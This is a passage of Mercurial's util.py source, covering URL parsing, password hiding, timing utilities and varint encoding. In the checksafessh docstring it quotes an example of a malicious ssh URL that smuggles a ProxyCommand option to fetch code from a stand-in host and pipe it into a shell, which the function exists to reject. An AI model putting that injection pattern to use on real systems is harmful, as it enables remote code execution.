2956 2957 fragment, which is set to '' if present but empty.
2957 2958
2958 2959 If parsefragment is False, fragment is included in query. If
2959 2960 parsequery is False, query is included in path. If both are
2960 2961 False, both fragment and query are included in path.
2961 2962
2962 2963 See http://www.ietf.org/rfc/rfc2396.txt for more information.
2963 2964
2964 2965 Note that for backward compatibility reasons, bundle URLs do not
2965 2966 take host names. That means 'bundle://../' has a path of '../'.
2966 2967
2967 2968 Examples:
2968 2969
2969 2970 >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
2970 2971 <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
2971 2972 >>> url(b'ssh://[::1]:2200//home/joe/repo')
2972 2973 <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
2973 2974 >>> url(b'file:///home/joe/repo')
2974 2975 <url scheme: 'file', path: '/home/joe/repo'>
2975 2976 >>> url(b'file:///c:/temp/foo/')
2976 2977 <url scheme: 'file', path: 'c:/temp/foo/'>
2977 2978 >>> url(b'bundle:foo')
2978 2979 <url scheme: 'bundle', path: 'foo'>
2979 2980 >>> url(b'bundle://../foo')
2980 2981 <url scheme: 'bundle', path: '../foo'>
2981 2982 >>> url(br'c:\foo\bar')
2982 2983 <url path: 'c:\\foo\\bar'>
2983 2984 >>> url(br'\\blah\blah\blah')
2984 2985 <url path: '\\\\blah\\blah\\blah'>
2985 2986 >>> url(br'\\blah\blah\blah#baz')
2986 2987 <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
2987 2988 >>> url(br'file:///C:\users\me')
2988 2989 <url scheme: 'file', path: 'C:\\users\\me'>
2989 2990
2990 2991 Authentication credentials:
2991 2992
2992 2993 >>> url(b'ssh://joe:xyz@x/repo')
2993 2994 <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
2994 2995 >>> url(b'ssh://joe@x/repo')
2995 2996 <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
2996 2997
2997 2998 Query strings and fragments:
2998 2999
2999 3000 >>> url(b'http://host/a?b#c')
3000 3001 <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
3001 3002 >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
3002 3003 <url scheme: 'http', host: 'host', path: 'a?b#c'>
3003 3004
3004 3005 Empty path:
3005 3006
3006 3007 >>> url(b'')
3007 3008 <url path: ''>
3008 3009 >>> url(b'#a')
3009 3010 <url path: '', fragment: 'a'>
3010 3011 >>> url(b'http://host/')
3011 3012 <url scheme: 'http', host: 'host', path: ''>
3012 3013 >>> url(b'http://host/#a')
3013 3014 <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
3014 3015
3015 3016 Only scheme:
3016 3017
3017 3018 >>> url(b'http:')
3018 3019 <url scheme: 'http'>
3019 3020 """
3020 3021
3021 3022 _safechars = b"!~*'()+"
3022 3023 _safepchars = b"/!~*'()+:\\"
3023 3024 _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match
3024 3025
3025 3026 def __init__(self, path, parsequery=True, parsefragment=True):
3026 3027 # We slowly chomp away at path until we have only the path left
3027 3028 self.scheme = self.user = self.passwd = self.host = None
3028 3029 self.port = self.path = self.query = self.fragment = None
3029 3030 self._localpath = True
3030 3031 self._hostport = b''
3031 3032 self._origpath = path
3032 3033
3033 3034 if parsefragment and b'#' in path:
3034 3035 path, self.fragment = path.split(b'#', 1)
3035 3036
3036 3037 # special case for Windows drive letters and UNC paths
3037 3038 if hasdriveletter(path) or path.startswith(b'\\\\'):
3038 3039 self.path = path
3039 3040 return
3040 3041
3041 3042 # For compatibility reasons, we can't handle bundle paths as
3042 3043 # normal URLS
3043 3044 if path.startswith(b'bundle:'):
3044 3045 self.scheme = b'bundle'
3045 3046 path = path[7:]
3046 3047 if path.startswith(b'//'):
3047 3048 path = path[2:]
3048 3049 self.path = path
3049 3050 return
3050 3051
3051 3052 if self._matchscheme(path):
3052 3053 parts = path.split(b':', 1)
3053 3054 if parts[0]:
3054 3055 self.scheme, path = parts
3055 3056 self._localpath = False
3056 3057
3057 3058 if not path:
3058 3059 path = None
3059 3060 if self._localpath:
3060 3061 self.path = b''
3061 3062 return
3062 3063 else:
3063 3064 if self._localpath:
3064 3065 self.path = path
3065 3066 return
3066 3067
3067 3068 if parsequery and b'?' in path:
3068 3069 path, self.query = path.split(b'?', 1)
3069 3070 if not path:
3070 3071 path = None
3071 3072 if not self.query:
3072 3073 self.query = None
3073 3074
3074 3075 # // is required to specify a host/authority
3075 3076 if path and path.startswith(b'//'):
3076 3077 parts = path[2:].split(b'/', 1)
3077 3078 if len(parts) > 1:
3078 3079 self.host, path = parts
3079 3080 else:
3080 3081 self.host = parts[0]
3081 3082 path = None
3082 3083 if not self.host:
3083 3084 self.host = None
3084 3085 # path of file:///d is /d
3085 3086 # path of file:///d:/ is d:/, not /d:/
3086 3087 if path and not hasdriveletter(path):
3087 3088 path = b'/' + path
3088 3089
3089 3090 if self.host and b'@' in self.host:
3090 3091 self.user, self.host = self.host.rsplit(b'@', 1)
3091 3092 if b':' in self.user:
3092 3093 self.user, self.passwd = self.user.split(b':', 1)
3093 3094 if not self.host:
3094 3095 self.host = None
3095 3096
3096 3097 # Don't split on colons in IPv6 addresses without ports
3097 3098 if (
3098 3099 self.host
3099 3100 and b':' in self.host
3100 3101 and not (
3101 3102 self.host.startswith(b'[') and self.host.endswith(b']')
3102 3103 )
3103 3104 ):
3104 3105 self._hostport = self.host
3105 3106 self.host, self.port = self.host.rsplit(b':', 1)
3106 3107 if not self.host:
3107 3108 self.host = None
3108 3109
3109 3110 if (
3110 3111 self.host
3111 3112 and self.scheme == b'file'
3112 3113 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
3113 3114 ):
3114 3115 raise error.Abort(
3115 3116 _(b'file:// URLs can only refer to localhost')
3116 3117 )
3117 3118
3118 3119 self.path = path
3119 3120
3120 3121 # leave the query string escaped
3121 3122 for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
3122 3123 v = getattr(self, a)
3123 3124 if v is not None:
3124 3125 setattr(self, a, urlreq.unquote(v))
3125 3126
3126 3127 @encoding.strmethod
3127 3128 def __repr__(self):
3128 3129 attrs = []
3129 3130 for a in (
3130 3131 b'scheme',
3131 3132 b'user',
3132 3133 b'passwd',
3133 3134 b'host',
3134 3135 b'port',
3135 3136 b'path',
3136 3137 b'query',
3137 3138 b'fragment',
3138 3139 ):
3139 3140 v = getattr(self, a)
3140 3141 if v is not None:
3141 3142 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
3142 3143 return b'<url %s>' % b', '.join(attrs)
3143 3144
3144 3145 def __bytes__(self):
3145 3146 r"""Join the URL's components back into a URL string.
3146 3147
3147 3148 Examples:
3148 3149
3149 3150 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
3150 3151 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
3151 3152 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3152 3153 'http://user:pw@host:80/?foo=bar&baz=42'
3153 3154 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3154 3155 'http://user:pw@host:80/?foo=bar%3dbaz'
3155 3156 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3156 3157 'ssh://user:pw@[::1]:2200//home/joe#'
3157 3158 >>> bytes(url(b'http://localhost:80//'))
3158 3159 'http://localhost:80//'
3159 3160 >>> bytes(url(b'http://localhost:80/'))
3160 3161 'http://localhost:80/'
3161 3162 >>> bytes(url(b'http://localhost:80'))
3162 3163 'http://localhost:80/'
3163 3164 >>> bytes(url(b'bundle:foo'))
3164 3165 'bundle:foo'
3165 3166 >>> bytes(url(b'bundle://../foo'))
3166 3167 'bundle:../foo'
3167 3168 >>> bytes(url(b'path'))
3168 3169 'path'
3169 3170 >>> bytes(url(b'file:///tmp/foo/bar'))
3170 3171 'file:///tmp/foo/bar'
3171 3172 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3172 3173 'file:///c:/tmp/foo/bar'
3173 3174 >>> print(url(br'bundle:foo\bar'))
3174 3175 bundle:foo\bar
3175 3176 >>> print(url(br'file:///D:\data\hg'))
3176 3177 file:///D:\data\hg
3177 3178 """
3178 3179 if self._localpath:
3179 3180 s = self.path
3180 3181 if self.scheme == b'bundle':
3181 3182 s = b'bundle:' + s
3182 3183 if self.fragment:
3183 3184 s += b'#' + self.fragment
3184 3185 return s
3185 3186
3186 3187 s = self.scheme + b':'
3187 3188 if self.user or self.passwd or self.host:
3188 3189 s += b'//'
3189 3190 elif self.scheme and (
3190 3191 not self.path
3191 3192 or self.path.startswith(b'/')
3192 3193 or hasdriveletter(self.path)
3193 3194 ):
3194 3195 s += b'//'
3195 3196 if hasdriveletter(self.path):
3196 3197 s += b'/'
3197 3198 if self.user:
3198 3199 s += urlreq.quote(self.user, safe=self._safechars)
3199 3200 if self.passwd:
3200 3201 s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
3201 3202 if self.user or self.passwd:
3202 3203 s += b'@'
3203 3204 if self.host:
3204 3205 if not (self.host.startswith(b'[') and self.host.endswith(b']')):
3205 3206 s += urlreq.quote(self.host)
3206 3207 else:
3207 3208 s += self.host
3208 3209 if self.port:
3209 3210 s += b':' + urlreq.quote(self.port)
3210 3211 if self.host:
3211 3212 s += b'/'
3212 3213 if self.path:
3213 3214 # TODO: similar to the query string, we should not unescape the
3214 3215 # path when we store it, the path might contain '%2f' = '/',
3215 3216 # which we should *not* escape.
3216 3217 s += urlreq.quote(self.path, safe=self._safepchars)
3217 3218 if self.query:
3218 3219 # we store the query in escaped form.
3219 3220 s += b'?' + self.query
3220 3221 if self.fragment is not None:
3221 3222 s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
3222 3223 return s
3223 3224
3224 3225 __str__ = encoding.strmethod(__bytes__)
3225 3226
3226 3227 def authinfo(self):
3227 3228 user, passwd = self.user, self.passwd
3228 3229 try:
3229 3230 self.user, self.passwd = None, None
3230 3231 s = bytes(self)
3231 3232 finally:
3232 3233 self.user, self.passwd = user, passwd
3233 3234 if not self.user:
3234 3235 return (s, None)
3235 3236 # authinfo[1] is passed to urllib2 password manager, and its
3236 3237 # URIs must not contain credentials. The host is passed in the
3237 3238 # URIs list because Python < 2.4.3 uses only that to search for
3238 3239 # a password.
3239 3240 return (s, (None, (s, self.host), self.user, self.passwd or b''))
3240 3241
3241 3242 def isabs(self):
3242 3243 if self.scheme and self.scheme != b'file':
3243 3244 return True # remote URL
3244 3245 if hasdriveletter(self.path):
3245 3246 return True # absolute for our purposes - can't be joined()
3246 3247 if self.path.startswith(br'\\'):
3247 3248 return True # Windows UNC path
3248 3249 if self.path.startswith(b'/'):
3249 3250 return True # POSIX-style
3250 3251 return False
3251 3252
3252 3253 def localpath(self):
3253 3254 if self.scheme == b'file' or self.scheme == b'bundle':
3254 3255 path = self.path or b'/'
3255 3256 # For Windows, we need to promote hosts containing drive
3256 3257 # letters to paths with drive letters.
3257 3258 if hasdriveletter(self._hostport):
3258 3259 path = self._hostport + b'/' + self.path
3259 3260 elif (
3260 3261 self.host is not None and self.path and not hasdriveletter(path)
3261 3262 ):
3262 3263 path = b'/' + path
3263 3264 return path
3264 3265 return self._origpath
3265 3266
3266 3267 def islocal(self):
3267 3268 '''whether localpath will return something that posixfile can open'''
3268 3269 return (
3269 3270 not self.scheme
3270 3271 or self.scheme == b'file'
3271 3272 or self.scheme == b'bundle'
3272 3273 )
3273 3274
3274 3275
3275 3276 def hasscheme(path):
3276 3277 return bool(url(path).scheme)
3277 3278
3278 3279
3279 3280 def hasdriveletter(path):
3280 3281 return path and path[1:2] == b':' and path[0:1].isalpha()
3281 3282
3282 3283
3283 3284 def urllocalpath(path):
3284 3285 return url(path, parsequery=False, parsefragment=False).localpath()
3285 3286
3286 3287
3287 3288 def checksafessh(path):
3288 3289 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3289 3290
3290 3291 This is a sanity check for ssh urls. ssh will parse the first item as
3291 3292 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3292 3293 Let's prevent these potentially exploited urls entirely and warn the
3293 3294 user.
3294 3295
3295 3296 Raises an error.Abort when the url is unsafe.
3296 3297 """
3297 3298 path = urlreq.unquote(path)
3298 3299 if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
3299 3300 raise error.Abort(
3300 3301 _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
3301 3302 )
3302 3303
3303 3304
3304 3305 def hidepassword(u):
3305 3306 '''hide user credential in a url string'''
3306 3307 u = url(u)
3307 3308 if u.passwd:
3308 3309 u.passwd = b'***'
3309 3310 return bytes(u)
3310 3311
3311 3312
3312 3313 def removeauth(u):
3313 3314 '''remove all authentication information from a url string'''
3314 3315 u = url(u)
3315 3316 u.user = u.passwd = None
3316 3317 return bytes(u)
3317 3318
3318 3319
3319 3320 timecount = unitcountfn(
3320 3321 (1, 1e3, _(b'%.0f s')),
3321 3322 (100, 1, _(b'%.1f s')),
3322 3323 (10, 1, _(b'%.2f s')),
3323 3324 (1, 1, _(b'%.3f s')),
3324 3325 (100, 0.001, _(b'%.1f ms')),
3325 3326 (10, 0.001, _(b'%.2f ms')),
3326 3327 (1, 0.001, _(b'%.3f ms')),
3327 3328 (100, 0.000001, _(b'%.1f us')),
3328 3329 (10, 0.000001, _(b'%.2f us')),
3329 3330 (1, 0.000001, _(b'%.3f us')),
3330 3331 (100, 0.000000001, _(b'%.1f ns')),
3331 3332 (10, 0.000000001, _(b'%.2f ns')),
3332 3333 (1, 0.000000001, _(b'%.3f ns')),
3333 3334 )
3334 3335
3335 3336
3336 3337 @attr.s
3337 3338 class timedcmstats(object):
3338 3339 """Stats information produced by the timedcm context manager on entering."""
3339 3340
3340 3341 # the starting value of the timer as a float (meaning and resulution is
3341 3342 # platform dependent, see util.timer)
3342 3343 start = attr.ib(default=attr.Factory(lambda: timer()))
3343 3344 # the number of seconds as a floating point value; starts at 0, updated when
3344 3345 # the context is exited.
3345 3346 elapsed = attr.ib(default=0)
3346 3347 # the number of nested timedcm context managers.
3347 3348 level = attr.ib(default=1)
3348 3349
3349 3350 def __bytes__(self):
3350 3351 return timecount(self.elapsed) if self.elapsed else b'<unknown>'
3351 3352
3352 3353 __str__ = encoding.strmethod(__bytes__)
3353 3354
3354 3355
3355 3356 @contextlib.contextmanager
3356 3357 def timedcm(whencefmt, *whenceargs):
3357 3358 """A context manager that produces timing information for a given context.
3358 3359
3359 3360 On entering a timedcmstats instance is produced.
3360 3361
3361 3362 This context manager is reentrant.
3362 3363
3363 3364 """
3364 3365 # track nested context managers
3365 3366 timedcm._nested += 1
3366 3367 timing_stats = timedcmstats(level=timedcm._nested)
3367 3368 try:
3368 3369 with tracing.log(whencefmt, *whenceargs):
3369 3370 yield timing_stats
3370 3371 finally:
3371 3372 timing_stats.elapsed = timer() - timing_stats.start
3372 3373 timedcm._nested -= 1
3373 3374
3374 3375
3375 3376 timedcm._nested = 0
3376 3377
3377 3378
3378 3379 def timed(func):
3379 3380 '''Report the execution time of a function call to stderr.
3380 3381
3381 3382 During development, use as a decorator when you need to measure
3382 3383 the cost of a function, e.g. as follows:
3383 3384
3384 3385 @util.timed
3385 3386 def foo(a, b, c):
3386 3387 pass
3387 3388 '''
3388 3389
3389 3390 def wrapper(*args, **kwargs):
3390 3391 with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
3391 3392 result = func(*args, **kwargs)
3392 3393 stderr = procutil.stderr
3393 3394 stderr.write(
3394 3395 b'%s%s: %s\n'
3395 3396 % (
3396 3397 b' ' * time_stats.level * 2,
3397 3398 pycompat.bytestr(func.__name__),
3398 3399 time_stats,
3399 3400 )
3400 3401 )
3401 3402 return result
3402 3403
3403 3404 return wrapper
3404 3405
3405 3406
3406 3407 _sizeunits = (
3407 3408 (b'm', 2 ** 20),
3408 3409 (b'k', 2 ** 10),
3409 3410 (b'g', 2 ** 30),
3410 3411 (b'kb', 2 ** 10),
3411 3412 (b'mb', 2 ** 20),
3412 3413 (b'gb', 2 ** 30),
3413 3414 (b'b', 1),
3414 3415 )
3415 3416
3416 3417
3417 3418 def sizetoint(s):
3418 3419 '''Convert a space specifier to a byte count.
3419 3420
3420 3421 >>> sizetoint(b'30')
3421 3422 30
3422 3423 >>> sizetoint(b'2.2kb')
3423 3424 2252
3424 3425 >>> sizetoint(b'6M')
3425 3426 6291456
3426 3427 '''
3427 3428 t = s.strip().lower()
3428 3429 try:
3429 3430 for k, u in _sizeunits:
3430 3431 if t.endswith(k):
3431 3432 return int(float(t[: -len(k)]) * u)
3432 3433 return int(t)
3433 3434 except ValueError:
3434 3435 raise error.ParseError(_(b"couldn't parse size: %s") % s)
3435 3436
3436 3437
3437 3438 class hooks(object):
3438 3439 '''A collection of hook functions that can be used to extend a
3439 3440 function's behavior. Hooks are called in lexicographic order,
3440 3441 based on the names of their sources.'''
3441 3442
3442 3443 def __init__(self):
3443 3444 self._hooks = []
3444 3445
3445 3446 def add(self, source, hook):
3446 3447 self._hooks.append((source, hook))
3447 3448
3448 3449 def __call__(self, *args):
3449 3450 self._hooks.sort(key=lambda x: x[0])
3450 3451 results = []
3451 3452 for source, hook in self._hooks:
3452 3453 results.append(hook(*args))
3453 3454 return results
3454 3455
3455 3456
3456 3457 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
3457 3458 '''Yields lines for a nicely formatted stacktrace.
3458 3459 Skips the 'skip' last entries, then return the last 'depth' entries.
3459 3460 Each file+linenumber is formatted according to fileline.
3460 3461 Each line is formatted according to line.
3461 3462 If line is None, it yields:
3462 3463 length of longest filepath+line number,
3463 3464 filepath+linenumber,
3464 3465 function
3465 3466
3466 3467 Not be used in production code but very convenient while developing.
3467 3468 '''
3468 3469 entries = [
3469 3470 (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3470 3471 for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
3471 3472 ][-depth:]
3472 3473 if entries:
3473 3474 fnmax = max(len(entry[0]) for entry in entries)
3474 3475 for fnln, func in entries:
3475 3476 if line is None:
3476 3477 yield (fnmax, fnln, func)
3477 3478 else:
3478 3479 yield line % (fnmax, fnln, func)
3479 3480
3480 3481
3481 3482 def debugstacktrace(
3482 3483 msg=b'stacktrace',
3483 3484 skip=0,
3484 3485 f=procutil.stderr,
3485 3486 otherf=procutil.stdout,
3486 3487 depth=0,
3487 3488 prefix=b'',
3488 3489 ):
3489 3490 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3490 3491 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3491 3492 By default it will flush stdout first.
3492 3493 It can be used everywhere and intentionally does not require an ui object.
3493 3494 Not be used in production code but very convenient while developing.
3494 3495 '''
3495 3496 if otherf:
3496 3497 otherf.flush()
3497 3498 f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
3498 3499 for line in getstackframes(skip + 1, depth=depth):
3499 3500 f.write(prefix + line)
3500 3501 f.flush()
3501 3502
3502 3503
3503 3504 # convenient shortcut
3504 3505 dst = debugstacktrace
3505 3506
3506 3507
3507 3508 def safename(f, tag, ctx, others=None):
3508 3509 """
3509 3510 Generate a name that it is safe to rename f to in the given context.
3510 3511
3511 3512 f: filename to rename
3512 3513 tag: a string tag that will be included in the new name
3513 3514 ctx: a context, in which the new name must not exist
3514 3515 others: a set of other filenames that the new name must not be in
3515 3516
3516 3517 Returns a file name of the form oldname~tag[~number] which does not exist
3517 3518 in the provided context and is not in the set of other names.
3518 3519 """
3519 3520 if others is None:
3520 3521 others = set()
3521 3522
3522 3523 fn = b'%s~%s' % (f, tag)
3523 3524 if fn not in ctx and fn not in others:
3524 3525 return fn
3525 3526 for n in itertools.count(1):
3526 3527 fn = b'%s~%s~%s' % (f, tag, n)
3527 3528 if fn not in ctx and fn not in others:
3528 3529 return fn
3529 3530
3530 3531
3531 3532 def readexactly(stream, n):
3532 3533 '''read n bytes from stream.read and abort if less was available'''
3533 3534 s = stream.read(n)
3534 3535 if len(s) < n:
3535 3536 raise error.Abort(
3536 3537 _(b"stream ended unexpectedly (got %d bytes, expected %d)")
3537 3538 % (len(s), n)
3538 3539 )
3539 3540 return s
3540 3541
3541 3542
3542 3543 def uvarintencode(value):
3543 3544 """Encode an unsigned integer value to a varint.
3544 3545
3545 3546 A varint is a variable length integer of 1 or more bytes. Each byte
3546 3547 except the last has the most significant bit set. The lower 7 bits of
3547 3548 each byte store the 2's complement representation, least significant group
3548 3549 first.
3549 3550
3550 3551 >>> uvarintencode(0)
3551 3552 '\\x00'
3552 3553 >>> uvarintencode(1)
3553 3554 '\\x01'
3554 3555 >>> uvarintencode(127)
3555 3556 '\\x7f'
3556 3557 >>> uvarintencode(1337)
3557 3558 '\\xb9\\n'
3558 3559 >>> uvarintencode(65536)
3559 3560 '\\x80\\x80\\x04'
3560 3561 >>> uvarintencode(-1)
3561 3562 Traceback (most recent call last):
3562 3563 ...
3563 3564 ProgrammingError: negative value for uvarint: -1
3564 3565 """
3565 3566 if value < 0:
3566 3567 raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
3567 3568 bits = value & 0x7F
3568 3569 value >>= 7
3569 3570 bytes = []
3570 3571 while value:
3571 3572 bytes.append(pycompat.bytechr(0x80 | bits))
3572 3573 bits = value & 0x7F
3573 3574 value >>= 7
3574 3575 bytes.append(pycompat.bytechr(bits))
3575 3576
3576 3577 return b''.join(bytes)
3577 3578
3578 3579
3579 3580 def uvarintdecodestream(fh):
3580 3581 """Decode an unsigned variable length integer from a stream.
3581 3582
3582 3583 The passed argument is anything that has a ``.read(N)`` method.
3583 3584
3584 3585 >>> try:
3585 3586 ... from StringIO import StringIO as BytesIO
3586 3587 ... except ImportError:
3587 3588 ... from io import BytesIO
3588 3589 >>> uvarintdecodestream(BytesIO(b'\\x00'))
3589 3590 0
3590 3591 >>> uvarintdecodestream(BytesIO(b'\\x01'))
3591 3592 1
3592 3593 >>> uvarintdecodestream(BytesIO(b'\\x7f'))
3593 3594 127
3594 3595 >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
3595 3596 1337
3596 3597 >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
3597 3598 65536
3598 3599 >>> uvarintdecodestream(BytesIO(b'\\x80'))
3599 3600 Traceback (most recent call last):
3600 3601 ...
3601 3602 Abort: stream ended unexpectedly (got 0 bytes, expected 1)
3602 3603 """
3603 3604 result = 0
3604 3605 shift = 0
3605 3606 while True:
3606 3607 byte = ord(readexactly(fh, 1))
3607 3608 result |= (byte & 0x7F) << shift
3608 3609 if not (byte & 0x80):
3609 3610 return result
3610 3611 shift += 7
General Comments 0
You need to be logged in to leave comments. Login now